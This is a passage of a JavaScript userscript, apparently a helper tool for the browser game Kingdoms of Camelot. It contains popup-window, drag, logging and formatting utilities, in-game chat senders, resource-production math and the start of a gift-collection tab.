         logit("CalterFuncModifier "+ this.funcName+" "+err);
      }
   }

   // add additional modifiers.  The index of the modifier is returned so the caller can enable/disable it specificially
   function addModifier(fr) {
      this.modifiers.push(fr);
      this.modsActive.push(false);
      // return the index of the newly added modifier
      return this.modifiers.length-1;
   }

   // turn on/off some of the modifiers.
   // 'len' allows setting consectutive modifiers to the same value.
   //   If len is null, 1 is used
   function enableModifier(modNumber, value, len) {

      if (len == null) len = 1;
      for (i = modNumber; i < modNumber + len; i++) {
         if ( i < this.modsActive.length) {
            this.modsActive[i] = value;
         }
      }
      this.applyModifiers();
   }

   function modEnabled(modNumber) {
      if ( modNumber < this.modsActive.length)
         return this.modsActive[modNumber];
   }

   function numModifiers() {
      return this.modifiers.length;
   }

};

function getMarchInfo (cityID){
  var ret = {};

  ret.marchUnits = {};
  ret.returnUnits = {};
  ret.resources = [];
  for (var i in troops){
    ret.marchUnits["unt"+i] = 0;
    ret.returnUnits["unt"+i] = 0;
  }
  for (i=0; i<5; i++){
    ret.resources[i] = 0;
  }
  
  for (k in Seed.queue_atkp[cityID]){   // each march
      march = Seed.queue_atkp[cityID][k];
      if (typeof (march) == 'object'){
		if(march.marchType != 5 && march.marchStatus != 10) {
			for (var i in troops){
              ret.marchUnits["unt"+i] += parseInt (march['unit'+i+'Count']);
              ret.returnUnits["unt"+i] += parseInt (march['unit'+i+'Return']);
            }
            for (ii=1; ii<5; ii++){
				ret.resources[ii] += parseInt (march['resource'+ ii]);
            }
			ret.resources[0] += parseInt (march['gold']);
		}
	  }
    }
  return ret;
}

function makeButton20 (label){
  var a = document.createElement('a');
  a.className = "button20 ptButton20";
  var s = document.createElement('span');
  s.innerHTML = label;
  a.appendChild (s);
  return a;
}

function strButton20 (label, tags){
  if (tags == null)
    tags = '';
  return ('<TABLE class=ptNoPad><TR><TD><A class="button20 ptButton20" '+ tags +'><SPAN>'+ label +'</span></a></td></tr></table>' );
}

function reloadKOC (){
  var serverId = getServerId();
  var goto = window.location.protocol+'//apps.facebook.com/kingdomsofcamelot/?s='+serverId;
  if (document.URL.search(/kabam.com\/games\/kingdoms-of-camelot\/play/i) >= 0 || document.URL.match(/standalone=1/i)){
    goto = window.location.protocol+'//www.kabam.com/games/kingdoms-of-camelot/play?s='+serverId;
  };
//  var t = '<FORM target="_top" rel="noreferrer" action="'+ goto +'" method=post><INPUT id=xxpbButReload type=submit value=RELOAD><INPUT type=hidden name=s value="'+ serverId +'"</form>';
//  var e = document.createElement ('div');
//  e.innerHTML = t;
//  document.body.appendChild (e);
//  setTimeout (function (){document.getElementById('xxpbButReload').click();}, 0);
	setTimeout (function (){window.top.location = goto;}, 0);
}
  
function htmlSelector (valNameObj, curVal, tags){
  var m = [];
  m.push ('<SELECT');
  if (tags){
    m.push (' ');
    m.push (tags);
  }  
  for (var k in valNameObj){
    m.push ('><OPTION ');
    if (k == curVal)
      m.push ('SELECTED ');
    m.push ('value="');
    m.push (k);
    m.push ('">');
    m.push (valNameObj[k]);
    m.push ('</option>');
  }
  m.push ('</select>');
  return m.join ('');
}

function cityStatusString (cs){
  if (cs==4)
    return 'Vacation';
  if (cs==3)
    return 'Truce';
  if (cs==2)
    return 'Beg Protection';
  return 'Normal';
}    

// Simple method, as if it were typed in thru DOM
function sendChat (msg){
  document.getElementById ("mod_comm_input").value = msg;
  unsafeWindow.Chat.sendChat ();
}

// works well, but message is not echoed back to local client
Chat = {
  params : null,

  sendWhisper : function (msg, who, notify){
    this.params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    this.params.ctype = 3;
    this.params.name = who;
    this._sendit (msg, notify);
  },

  sendGlobal : function (msg, notify){
    this.params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    this.params.ctype = 1;
    this._sendit (msg, notify);
  },

  sendAlliance : function (msg, notify){
    this.params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    this.params.ctype = 2;
    this._sendit (msg, notify);
  },

  _sendit : function (msg, notify){
    function strip(s) {
       return s.replace(/^\s+/, '').replace(/\s+$/, '');
    }
    this.params.comment = strip (msg);
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/sendChat.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: this.params,
      onSuccess: function(transport) {
        if (notify)
          notify ();
      },
      onFailure: function(transport) {
        if (notify)
          notify ();
      }
    });
  },
}



/************  LIB classes/functions .... **************/

DebugTimer = {
  startTime : 0,
  start : function (){
    now = new Date();
    DebugTimer.startTime = now.getTime();
  },
  getMillis : function (){
    now = new Date();
    return now.getTime() - DebugTimer.startTime;
  },
  display : function (label, noReset){
    now = new Date();
    elapsed = now.getTime() - DebugTimer.startTime;
    logit (label +": "+ elapsed/1000);
    if (noReset===null || !noReset)
      DebugTimer.startTime = now.getTime();
  },
};


function debugPos  (e){
  return '['+ e.tagName +'] client - offset: '+ e.clientLeft +','+ e.clientTop +','+ e.clientWidth +','+ e.clientHeight
          +' - '+ e.offsetLeft +','+ e.offsetTop +','+ e.offsetWidth +','+ e.offsetHeight +' '+ e +' --OP--> '+ e.offsetParent;
}

function CwaitForElement (id, timeout, notify){
  this.check = check;
  this.end = new Date().getTime() + timeout;
  var t = this;
  this.check();
  function check(){
    if (document.getElementById (id))
      notify (true);
    else if (new Date().getTime() > t.end)
      notify (false);
    else
      setTimeout (t.check, 500);
  }
}

function clickWin (win,obj,evtName) {
    var evt = win.document.createEvent("MouseEvents");
    evt.initMouseEvent(evtName, true, true, win, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
    return !obj.dispatchEvent(evt);
}
    
function debugElement  (e){
  var x = unsafeWindow.Object.clone (e.wrappedJSObject);
  x.innerHTML = '';
  x.innerText = '';
  x.textContent = '';
  return inspect (x, 1, 1);
}     

function getClientCoords(e){
  if (e==null)
    return {x:null, y:null, width:null, height:null};
  var x=0, y=0;
  ret = {x:0, y:0, width:e.clientWidth, height:e.clientHeight};
  while (e.offsetParent != null){
    ret.x += e.offsetLeft;
    ret.y += e.offsetTop;
    e = e.offsetParent;
  }
  return ret;
}

function DOMtree (e, levels){
  var m = [];
  level (e, levels, 0);
  
  function level (e, levels, cur){
    try {        
      for (var i=0; i<cur; i++)
        m.push('  ');
      if (!e.tagName)
        m.push ('?');
      else
        m.push (e.tagName);
      if (e.id){
        m.push (' id=');
        m.push (e.id);
      }
      if (e.name){
        m.push (' name=');
        m.push (e.name);
      }
      if (e.className){
        m.push (' class=');
        m.push (e.className);
      }
      if (e.style && e.style.display && e.style.display.indexOf('none')>0)
        m.push (' hidden');
       m.push ('\n');
      if (cur < levels){
        for (var c=0; c<e.childNodes.length; c++){
          level (e.childNodes[c], levels, cur+1);
        }
      }
    } catch (e) {
      m.push ('UNAVAILBLE!\n');
    }
  }
  return m.join('');  
}

function parseIntNan (n){
  x = parseInt(n, 10);
  if (isNaN(x))
    return 0;
  return x;
}
function parseIntCommas (n){
  n = n.split(',');
  n = n.join('');
  x = parseInt(n, 10);
  if (isNaN(x))
    return 0;
  return x;
}
function parseIntZero (n){
  n = n.trim();
  if (n == '')
    return 0;
  return parseInt(n, 10);
}
function isNaNCommas (n){
  n = n.split(',');
  n = n.join('');
  return isNaN(n);
}


function getFirefoxVersion (){
  var ver='', i;
  var ua = navigator.userAgent;  
  if (ua==null || (i = ua.indexOf('Firefox/'))<0)
    return;
  return ua.substr(i+8);
}

var WinManager = {
  wins : {},    // prefix : pbPopup obj
  didHide : [],
  
  
  get : function (prefix){
    var t = WinManager;
    return t.wins[prefix];
  },
  
  add : function (prefix, pop){
    var t = WinManager;
    t.wins[prefix] = pop;
    if (unsafeWindow.cpopupWins == null)
      unsafeWindow.cpopupWins = {};
    unsafeWindow.cpopupWins[prefix] = pop;
  },
  
  hideAll : function (){
    var t = WinManager;
    t.didHide = [];
    for (k in t.wins){
      if (t.wins[k].isShown()){
        t.didHide.push (t.wins[k]);
        t.wins[k].show (false);
      }
    }
  },
  restoreAll : function (){
    var t = WinManager;
    for (var i=0; i<t.didHide.length; i++)
      t.didHide[i].show (true);
  },
  
  delete : function (prefix){
    var t = WinManager;
    delete t.wins[prefix];
    delete unsafeWindow.cpopupWins[prefix];
  }    
}


// creates a 'popup' div
// prefix must be a unique (short) name for the popup window
function pbPopup (prefix, x, y, width, height, enableDrag, onClose) {
  var pop = WinManager.get(prefix);
  if (pop){
    pop.show (false);
    return pop;
  }
  this.BASE_ZINDEX = 111111;
    
  // protos ...
  this.show = show;
  this.toggleHide = toggleHide;
  this.getTopDiv = getTopDiv;
  this.getMainTopDiv = getMainTopDiv;
  this.getMainDiv = getMainDiv;
  this.getLayer = getLayer;
  this.setLayer = setLayer;
  this.setEnableDrag = setEnableDrag;
  this.getLocation = getLocation;
  this.setLocation = setLocation;
  this.focusMe = focusMe;
  this.isShown = isShown;
  this.unfocusMe = unfocusMe;
  this.centerMe = centerMe;
  this.destroy = destroy;
  this.autoHeight = autoHeight;

  // object vars ...
  this.div = document.createElement('div');
  this.prefix = prefix;
  this.onClose = onClose;
  
  var t = this;
  this.div.className = 'pbPopup '+ prefix +'_pbPopup';
  this.div.id = prefix +'_outer';
  this.div.style.background = "#fff";
  this.div.style.zIndex = this.BASE_ZINDEX        // KOC modal is 100210 ?
  this.div.style.display = 'none';
  this.div.style.width = width + 'px';
  this.div.style.height = height + 'px';
  this.div.style.maxHeight = height + 'px';
  this.div.style.overflowY = 'show';
  this.div.style.position = "absolute";
  this.div.style.top = y +'px';
  this.div.style.left = x + 'px';
  
  if (pbPopUpTopClass==null)
    topClass = 'pbPopupTop '+ prefix +'_pbPopupTop';
  else
    topClass = pbPopUpTopClass +' '+ prefix +'_'+ pbPopUpTopClass;
    
  var m = '<TABLE cellspacing=0 width=100% ><TR id="'+ prefix +'_bar" class="'+ topClass +'"><TD width=99% valign=bottom><SPAN id="'+ prefix +'_top"></span></td>\
      <TD id='+ prefix +'_X align=right valign=middle onmouseover="this.style.cursor=\'pointer\'" style="color:#fff; background:#333; font-weight:bold; font-size:14px; padding:0px 5px; -moz-border-radius-topright: 20px;">x</td></tr>\
      </table><TABLE cellspacing=0 width=100% ><TR><TD height=100% valign=top class="pbPopMain '+ prefix +'_pbPopMain" colspan=2 id="'+ prefix +'_main"></td></tr></table>';
  document.body.appendChild(this.div);
  this.div.innerHTML = m;
  document.getElementById(prefix+'_X').addEventListener ('click', e_XClose, false);
  this.dragger = new CWinDrag (document.getElementById(prefix+'_bar'), this.div, enableDrag);
  
  this.div.addEventListener ('mousedown', e_divClicked, false);
  WinManager.add(prefix, this);
  
  function e_divClicked (){
    t.focusMe();
  }  
  function e_XClose (){
    t.show(false);
    if (t.onClose != null)
      t.onClose();
  }
  function autoHeight (onoff){
    if (onoff)
      t.div.style.height = '';  
    else
      t.div.style.height = t.div.style.maxHeight;
  }
  function focusMe (){
    t.setLayer(5);
    for (k in unsafeWindow.cpopupWins){
      if (k != t.prefix)
        unsafeWindow.cpopupWins[k].unfocusMe();
    }
  }
  function unfocusMe (){
    t.setLayer(-5);
  }
  function getLocation (){
    return {x: parseInt(this.div.style.left), y: parseInt(this.div.style.top)};
  }
  function setLocation (loc){
    t.div.style.left = loc.x +'px';
    t.div.style.top = loc.y +'px';
  }
  function destroy (){
    document.body.removeChild(t.div);
    WinManager.delete (t.prefix);
  }
  function centerMe (parent){
    if (parent == null){
      var coords = getClientCoords(document.body);
    } else
      var coords = getClientCoords(parent);
    var x = ((coords.width - parseInt(t.div.style.width)) / 2) + coords.x;
    var y = ((coords.height - parseInt(t.div.style.height)) / 2) + coords.y;
    if (x<0)
      x = 0;
    if (y<0)
      y = 0;
    t.div.style.left = x +'px';
    t.div.style.top = y +'px';
  }
  function setEnableDrag (tf){
    t.dragger.setEnable(tf);
  }
  function setLayer(zi){
    t.div.style.zIndex = ''+ (this.BASE_ZINDEX + zi);
  }
  function getLayer(){
    return parseInt(t.div.style.zIndex) - this.BASE_ZINDEX;
  }
  function getTopDiv(){
    return document.getElementById(this.prefix+'_top');
  }
  function getMainDiv(){
    return document.getElementById(this.prefix+'_main');
  }
  function getMainTopDiv(){
      return document.getElementById(this.prefix+'_top');
  }
  function isShown (){
    return t.div.style.display == 'block';
  }
  function show(tf){
    if (tf){
      t.div.style.display = 'block';
      t.focusMe ();
    } else {
      t.div.style.display = 'none';
    }
    return tf;
  }
  function toggleHide(t){
    if (t.div.style.display == 'block') {
      return t.show (false);
    } else {
      return t.show (true);
    }
  }
}

function CWinDrag (clickableElement, movingDiv, enabled) {
  var t=this;
  this.setEnable = setEnable;
  this.setBoundRect = setBoundRect;
  this.debug = debug;
  this.dispEvent = dispEvent;
  this.lastX = null;
  this.lastY = null;
  this.enabled = true;
  this.moving = false;
  this.theDiv = movingDiv;
  this.body = document.body;
  this.ce = clickableElement;
  this.moveHandler = new CeventMove(this).handler;
  this.outHandler = new CeventOut(this).handler;
  this.upHandler = new CeventUp(this).handler;
  this.downHandler = new CeventDown(this).handler;
  this.clickableRect = null;
  this.boundRect = null;
  this.bounds = null;
  this.enabled = false;
  if (enabled == null)
    enabled = true;
  this.setEnable (enabled);

  function setBoundRect (b){    // this rect (client coords) will not go outside of current body
    this.boundRect = boundRect;
    this.bounds = null;
  }

  function setEnable (enable){
    if (enable == t.enabled)
      return;
    if (enable){
      clickableElement.addEventListener('mousedown',  t.downHandler, false);
      t.body.addEventListener('mouseup', t.upHandler, false);
    } else {
      clickableElement.removeEventListener('mousedown', t.downHandler, false);
      t.body.removeEventListener('mouseup', t.upHandler, false);
    }
    t.enabled = enable;
  }

  function CeventDown (that){
    this.handler = handler;
    var t = that;
    function handler (me){
      if (t.bounds == null){
        t.clickableRect = getClientCoords(clickableElement);
        t.bodyRect = getClientCoords(document.body);
        if (t.boundRect == null)
          t.boundRect = t.clickableRect;
        t.bounds = {top:10-t.clickableRect.height, bot:t.bodyRect.height-25, left:40-t.clickableRect.width, right:t.bodyRect.width-25};
      }
      if (me.button==0 && t.enabled){
        t.body.addEventListener('mousemove', t.moveHandler, true);
        t.body.addEventListener('mouseout', t.outHandler, true);
        t.lastX = me.clientX;
        t.lastY = me.clientY;
        t.moving = true;
      }
    }
  }

  function CeventUp  (that){
    this.handler = handler;
    var t = that;
    function handler (me){
      if (me.button==0 && t.moving)
        _doneMoving(t);
    }
  }

  function _doneMoving (t){
    t.body.removeEventListener('mousemove', t.moveHandler, true);
    t.body.removeEventListener('mouseout', t.outHandler, true);
    t.moving = false;
  }

  function CeventOut  (that){
    this.handler = handler;
    var t = that;
    function handler (me){
      if (me.button==0){
        t.moveHandler (me);
      }
    }
  }

  function CeventMove (that){
    this.handler = handler;
    var t = that;
    function handler (me){
      if (t.enabled && !t.wentOut){
        var newTop = parseInt(t.theDiv.style.top) + me.clientY - t.lastY;
        var newLeft = parseInt(t.theDiv.style.left) + me.clientX - t.lastX;
        if (newTop < t.bounds.top){     // if out-of-bounds...
          newTop = t.bounds.top;
          _doneMoving(t);
        } else if (newLeft < t.bounds.left){
          newLeft = t.bounds.left;
          _doneMoving(t);
        } else if (newLeft > t.bounds.right){
          newLeft = t.bounds.right;
          _doneMoving(t);
        } else if (newTop > t.bounds.bot){
          newTop = t.bounds.bot;
          _doneMoving(t);
        }
        t.theDiv.style.top = newTop + 'px';
        t.theDiv.style.left = newLeft + 'px';
        t.lastX = me.clientX;
        t.lastY = me.clientY;
      }
    }
  }

  function debug  (msg, e){
    logit ("*************** "+ msg +" ****************");
    logit ('clientWidth, Height: '+ e.clientWidth +','+ e.clientHeight);
    logit ('offsetLeft, Top, Width, Height (parent): '+ e.offsetLeft +','+ e.offsetTop +','+ e.offsetWidth +','+ e.offsetHeight +' ('+ e.offsetParent +')');
    logit ('scrollLeft, Top, Width, Height: '+ e.scrollLeft +','+ e.scrollTop +','+ e.scrollWidth +','+ e.scrollHeight);
  }

  function dispEvent (msg, me){
    logit (msg + ' Button:'+ me.button +' Screen:'+ me.screenX +','+ me.screenY +' client:'+  me.clientX +','+ me.clientY +' rTarget: '+ me.relatedTarget);
  }
}

function inspect(obj, maxLevels, level, doFunctions){
  var str = '', type, msg;
  if(level == null)  level = 0;
  if(maxLevels == null) maxLevels = 1;
  if(maxLevels < 1)
      return 'Inspect Error: Levels number must be > 0';
  if(obj == null)
    return 'ERROR: Object is NULL\n';
  var indent = '';
  for (var i=0; i<level; i++)
    indent += '  ';
  for(property in obj) {
    try {
        type =  matTypeof(obj[property]);
        if (doFunctions==true && (type == 'function')){
          str += indent + '(' + type + ') ' + property + "[FUNCTION]\n";
        } else if (type != 'function') {
          str += indent + '(' + type + ') ' + property + ( (obj[property]==null)?(': null'):('')) +' = '+ obj[property] +"\n";
        }
        if((type=='object' || type=='array') && (obj[property] != null) && (level+1 < maxLevels))
          str += inspect(obj[property], maxLevels, level+1, doFunctions);  // recurse
    }
    catch(err) {
      // Is there some properties in obj we can't access? Print it red.
      if(typeof(err) == 'string') msg = err;
      else if(err.message)        msg = err.message;
      else if(err.description)    msg = err.description;
      else                        msg = 'Unknown';
      str += '(Error) ' + property + ': ' + msg +"\n";
    }
  }
  str += "\n";
  return str;
}

Array.prototype.compare = function(testArr) {
    if (this.length != testArr.length) return false;
    for (var i = 0; i < testArr.length; i++) {
        if (this[i].compare) {
            if (!this[i].compare(testArr[i])) return false;
        }
        if (this[i] !== testArr[i]) return false;
    }
    return true;
}
String.prototype.StripQuotes = function() {
    return this.replace(/"/g,'');
}

String.prototype.entityTrans = { '&':'&amp;', '<':'&lt;',  '>':'&gt;',  '\"':'&quot;', '\'':'&#039', '<':'\\u003c', '/':'\\/', '\\':'\\\\', '\"':'\\\"','{':'&#123;','}':'&#125;'};
String.prototype.htmlSpecialChars = function() {
  var ret = this.toString();
  for (k in this.entityTrans)
     ret  = ret.split(k).join(this.entityTrans[k]);
  return ret;
}
String.prototype.htmlSpecialCharsDecode = function() {
  var ret = this.toString();
  for (k in this.entityTrans)
     ret = ret.split(this.entityTrans[k]).join(k);
  return ret;
}
String.prototype.trim = function () {
    return this.replace(/^\s*/, "").replace(/\s*$/, "");
}
String.prototype.escape_space = function(){
    var s = this.split(" ");
    for(var i=0; i<s.length; i++)
        s[i] = escape(s[i]);
    //return s.join(" ");
    return this.replace(/</ig,"&#60;");
}
String.prototype.unescape_space = function(){
    var s = this.split(" ");
    for(var i=0; i<s.length; i++)
        s[i] = unescape(s[i]);
    //return s.join(" ");
    return this;
}

function officerId2String (oid){
  if (oid==null)
    return '';
  else if (oid==3)
    return 'Officer';
  else if (oid==2)
    return 'Vice Chance';
  else if (oid==1)
    return 'Chancellor';
  return '';
}

function getResourceProduction (cityId){
  var ret = [0,0,0,0,0];
  var now = unixTime ();
  
  var wilds = [0, 0, 0, 0, 0];
  var w = Seed.wilderness["city" + cityId];
  for (var k in w){
    var type = parseInt(w[k].tileType);
    if (type==10 || type==11)
      wilds[1] += parseInt(w[k].tileLevel);
    else
      wilds[type/10] += parseInt(w[k].tileLevel);
  }  
  
  knight = 0;       
  var s = Seed.knights["city" + cityId];
  if (s) {
    s = s["knt" + Seed.leaders["city" + cityId].resourcefulnessKnightId];
    if (s){
      var knight = parseInt(s.resourcefulness);
      if (s.resourcefulnessBoostExpireUnixtime > now)
        knight *= 1.25;
    }
  }
  var workerFactor = 1;
  var c = parseInt(Seed.citystats["city" + cityId]["pop"][0]);  // Current  population
  var w = parseInt(Seed.citystats["city" + cityId]["pop"][3]);  // Labor force
  if (w > c)
    workerFactor = c / w;
  
  for (var i=1; i<5; i++){
    var usage = Seed.resources["city" + cityId]["rec" + i];
    var items = 0;
    if (parseInt(Seed.playerEffects["r" + i + "BstExp"]) > now) {
      items = 0.25;
    }
    var tech = Seed.tech["tch" + i];
    ret[i] = parseInt((usage[2] * (1 + tech/10 + knight/100 + items + 0.05 * wilds[i]) * workerFactor + 100));
  }
  return ret;  
}

function objectName (o){
  var s = o.toString();
  return s.substr(7,s.length-8);
}

function matTypeof (v){
  if (typeof (v) == 'object'){
    if (!v)
      return 'null';
//    else if (unsafeWindow.Object.prototype.toString.apply(v) === '[object Array]')
    else if (v.constructor.toString().indexOf("Array")>=0 && typeof(v.splice)=='function')
      return 'array';
    else return 'object';
  }
  return typeof (v);
}

function updatebotbutton(text, id)
{
    var but=document.getElementById(id);
    but.innerHTML = '<span style="color: #ff6">'+text+'</span>';
}
    


function tbodyScroller (tbody, maxHeight){  
  tbody.style.maxHeight = '';
  tbody.style.height = '';
  tbody.style.overflowX = 'hidden';
  if (parseInt(tbody.clientHeight) > maxHeight){
    tbody.style.height = maxHeight + 'px';
    tbody.style.maxHeight = maxHeight + 'px';
    tbody.style.overflowY = 'auto';
  }
}
function getRemainingHeight (e, cont){
  var ec = getClientCoords(e);
  var cc = getClientCoords(cont);
  return cont.clientHeight - (ec.y - cc.y);
}


function addCommasInt(n){
  nStr = parseInt(n) + '';
  var rgx = /(\d+)(\d{3})/;
  while (rgx.test(nStr)) {
    nStr = nStr.replace(rgx, '$1' + ',' + '$2');
  }
  return nStr;
}

function addCommas(nStr){
  nStr += '';
  x = nStr.split('.');
  x1 = x[0];
  x2 = x.length > 1 ? '.' + x[1] : '';
  var rgx = /(\d+)(\d{3})/;
  while (rgx.test(x1)) {
    x1 = x1.replace(rgx, '$1' + ',' + '$2');
  }
  return x1 + x2;
}

function unixTime (){
  return parseInt (new Date().getTime() / 1000) + unsafeWindow.g_timeoff;
}
function htmlOptions (a, curVal){
  m = '';
  for (k in a)
    m += '<OPTION value="'+ k +'"'+ (k==curVal?' SELECTED':'')  +'>'+ a[k] +'</option>';
  return m;
}
function getFunctionName (func){
  var name=/\W*function\s+([\w\$]+)\(/.exec(func);
  if (!name)
    return '';
  return name[1];
}

function findAllBetween (txt, find1, find2){
  var m = [];
  var last = 0;
  while ( (i1=txt.indexOf(find1, last))>=0 && (i2=txt.indexOf (find2, i1))>=0 ) {
    m.push (txt.substring(i1+find1.length, i2));
    last = i2 + find2.length;
  }
  return m;
}

function strUpTo (s, find){
  var i = s.indexOf(find);
  if (i > 0)
    return s.substr(0, i);
  return s;
}

/********
 Xd Xh
 Xh Xm
 Xm Xs
 Xs
********/
function timestrShort(time) {
  time = parseInt (time);
  if (time > 86400){
    var m = [];
    time /= 3600;
    m.push (parseInt(time/24));
    m.push ('d ');
    m.push (parseInt(time%24));
    m.push ('h ');
    return m.join ('');    
  } else
    return timestr (time);
}

/**********************
 part       full
 Xd Xh Xm   Xd Xh Xm Xs
 Xh Xm      Xh Xm Xs
 Xm Xs      Xm Xs
 Xs         Xs
**********************/
function timestr(time, full) {
  time = parseInt (time);
  var m = [];
  var t = time;
  if (t < 61)
    return  t + 's';
  if (t > 86400){
    m.push (parseInt(t/86400));
    m.push ('d ');
    t %= 86400;
  }  
  if (t>3600 || time>3600){
    m.push (parseInt(t/3600));
    m.push ('h ');
    t %= 3600;
  }  
  m.push (parseInt(t/60));
  m.push ('m');
  if (full || time<=3600 ){
    m.push (' ');
    m.push (t%60);
    m.push ('s');  
  }
  return m.join ('');
}

/************  LIB singletons .... **************/
// TODO: fix REopening window
var WINLOG_MAX_ENTRIES = 1000;     // TODO
var WinLog = {
  state : null,
  win: null,
  eOut : null,
  lastE : null,
  enabled : true,
  reverse : true,
  busy : false,
isOpening : false,

  open : function (){
    var t = WinLog;

    function eventButClear(){
      var t = WinLog;
      t.lastE = null;
      t.eOut.innerHTML ='';
    }
    function eventButReverse(){
      var t = WinLog;
      if (t.busy)
        return;
      t.busy = true;
      if (t.reverse){
        t.win.document.getElementById('wlRev').value= 'Top';
        t.reverse = false;
      } else{
        t.win.document.getElementById('wlRev').value= 'Bottom';
        t.reverse = true;
      }
      var n = t.eOut.childNodes.length;
      if (n < 2)
        return;
      for (i=n-2; i>=0; i--){
        t.eOut.appendChild (t.eOut.childNodes[i]);
      }
      t.busy = false;
    }
    
    if (!t.win || t.win.closed){
t.isOpening = true;  
// Firefox bug??? It appears as if a new thread is started on open, withOUT reusing same window? huh?
      t.win = window.open('', 'uwtrace', 'top=30,left=0,width=900,height=700,scrollbars=no,location=no,menubar=no,directories=no,status=no');
t.isOpening = false;
t.state = null;
    }
    
    if (t.state == null){
      t.win.document.body.innerHTML = '<STYLE>pre{margin:0px} hr{margin:3px; height:1px; border:0px; color:#cee; background-color:#cee}</style>\
        <BODY style="margin:0px; padding:0px; border:none">\
        <DIV id=winlogtop style="background-color:#d0d0d0; margin:0px; padding:0px; border:1px solid">\
        <INPUT id=wlClear type=submit value="Clear"> &nbsp; <INPUT id=wlRev type=submit value="Bottom"></div>\
        <DIV id=wlOut style="overflow-y:auto; height:100%; max-height:100%"></div></body>';
      t.win.document.getElementById('wlClear').addEventListener('click', eventButClear, false);
      t.win.document.getElementById('wlRev').addEventListener('click', eventButReverse, false);
      t.eOut =  t.win.document.getElementById('wlOut');
      t.lastE = null;
      t.state = 1;
    }
  },

  writeText : function (msg){
    var t = WinLog;
    if (!t.enabled || t.isOpening)
      return;
    t.write (msg.htmlSpecialChars());
  },
  
  write : function (msg){
    var t = WinLog;
    if (!t.enabled || t.isOpening)
      return;
    t.open();
    var te = document.createElement('pre');
    var now = new Date();
    var m = [];
    var millis = now.getMilliseconds();
    m.push (now.toTimeString().substring (0,8));
    m.push ('.');
    if (millis<100)
      m.push('0');
    if (millis<10)
      m.push('0');
    m.push(millis);
    m.push (': ');
    m.push (msg);
    te.innerHTML = m.join('');
    if (t.reverse){
      if (t.lastE == null){
        t.eOut.appendChild(te);
        t.lastE = te;
      } else {
        t.eOut.insertBefore(te, t.lastE);
      }
      var hr = document.createElement('hr');
      t.eOut.insertBefore(hr, te);
      t.lastE = hr;
    } else {
      t.eOut.appendChild(te);
      t.eOut.appendChild(document.createElement('hr'));
    }
  },

};

/*********************************** Resources TAB ***********************************/
/****
courtDoAction.php
&atype=4&toid=1290791&givercityid=26654
{"ok":true,"gold":500,"resource":500,"resourcetype":"4"}
***/
Tabs.Resources = {
  tabOrder : 100,
  resource : {1:'Food', 2:'Wood', 3:'Stone', 4:'Ore'},
  users : [],
  myDiv : null,
  tabLabel : unsafeWindow.g_js_strings.commonstr.resources,
  doList : [], // list of gifts to accept
  accepting : false,
  city : null,
  total : {gold:0, 1:0, 2:0, 3:0, 4:0},
    
  init : function (div){
    var t = Tabs.Resources;
        t.myDiv = div;
    div.innerHTML = '<TABLE cellpadding=0 cellspacing=0 class=pbTab width=100%><TR><TD align=center><INPUT id="pballlist" type=submit value="Fetch User List" \></td></tr></table><HR>\
        <DIV id=resDiv style="width:100%; min-height:300px; height:100%">';
    document.getElementById('pballlist').addEventListener ('click', t.e_clickfetchlist, false);

  },
  
  show : function (){
  },
  hide : function (){
  },
  
  progress : function (msg, span, add){
    if(add)
        document.getElementById(span).innerHTML+=msg;
    else
        document.getElementById(span).innerHTML=msg;
  },

  e_clickfetchlist : function  (){     // (also cancel accepting)
    var t = Tabs.Resources;
    t.users = [];
    if (t.accepting){
      document.getElementById('pballlist').value = 'Fetch User List';
      document.getElementById('resDiv').innerHTML+= '<BR><SPAN class=boldRed>Cancelled.</span>';
      t.accepting = false;
      return;
    }
    document.getElementById('resDiv').innerHTML = 'Fetching user list ... <span id=pbResUserListCount></span>';
    
    t.fetchUserList (gotUserList);
    function gotUserList(userList){
        if(userList.length < 1){
            listGifts();
            return;
        }
        document.getElementById('resDiv').innerHTML += '<BR>Check if able to collect ... <span id=pbResUserAvailCount></span>';
        t.checkDailyAction(userList, listGifts);
    }
    
    function listGifts (){
      t.city = Cities.cities[0];
      var m = '<DIV class=pbStat><CENTER>User List &nbsp; &nbsp; &nbsp; ('+ t.users.length +' found)</center></div>';
      if (t.users.length<1){
        document.getElementById('resDiv').innerHTML = m + '<BR><BR><CENTER>No users found!</center>';
        return;
      }
      m += '<TABLE class=pbTab align=center><TR><TD align=right>City to apply gifts to: </td><TD id=pbrescityselspan></td></tr>\
          <TR><TD align=right>Select resource to collect</td><TD>'
        + htmlSelector (t.resource, Options.getResType, 'id=pbResColType')
        + '</td></tr><TR><TD>Select users you want to collect from and hit: </td><TD width=250><INPUT type=submit id=pbResDo value="Accept Resources">\
        &nbsp; <SPAN id=pbResNone class=boldRed></span></td></tr></table><HR><TABLE class=pbTab><TR valign=top><TD>\
        <INPUT id=pbResButAll type=submit value="All" style="width:100%; margin-bottom:5px"><BR><INPUT id=pbResButNone type=submit value="None"></td>\
        <TD width=10></td><TD><TABLE align=center cellpadding=0 cellspacing=0 class=pbTabLined>\
        <TBODY id=pbResTbody style="height:250px; overflow:auto; display:block;">\
        <TR style="font-weight:bold; background:white"><TD>Name</td><TD>Might</td><TD width=20></td></tr>';
      for (var i=0; i<t.users.length; i++){
        m += '<TR><TD><INPUT type=checkbox id=pbrchk_'+ i +'> &nbsp;'+ t.users[i].name +'</td><TD>'+ t.users[i].might +'</td></tr>';
      }
      document.getElementById('resDiv').innerHTML = m + '</tbody></table></td></tr></table>';
      new CdispCityPicker ('pbrescitysel', document.getElementById('pbrescityselspan'), true, t.e_CityButton, t.city.idx);
      document.getElementById('pbResDo').addEventListener ('click', t.getErDone, false);
      document.getElementById('pbResButAll').addEventListener ('click', t.e_butAll, false);
      document.getElementById('pbResButNone').addEventListener ('click', t.e_butNone, false);
      // var tbody = document.getElementById('pbResTbody');
      // tbodyScroller (tbody, getRemainingHeight (tbody, mainPop.div));
    }
  },

  e_CityButton : function (city, x, y){
    var t = Tabs.Resources;
    t.city = city;
  },
  
  e_butAll : function (){
    var t = Tabs.Resources;
    for (var i=0; i<t.users.length; i++)
      document.getElementById('pbrchk_'+i).checked = true;
  },
  
  e_butNone : function (){
    var t = Tabs.Resources;
    for (var i=0; i<t.users.length; i++)
      document.getElementById('pbrchk_'+i).checked = false;
  },
  
  getErDone : function (){
    var t = Tabs.Resources;
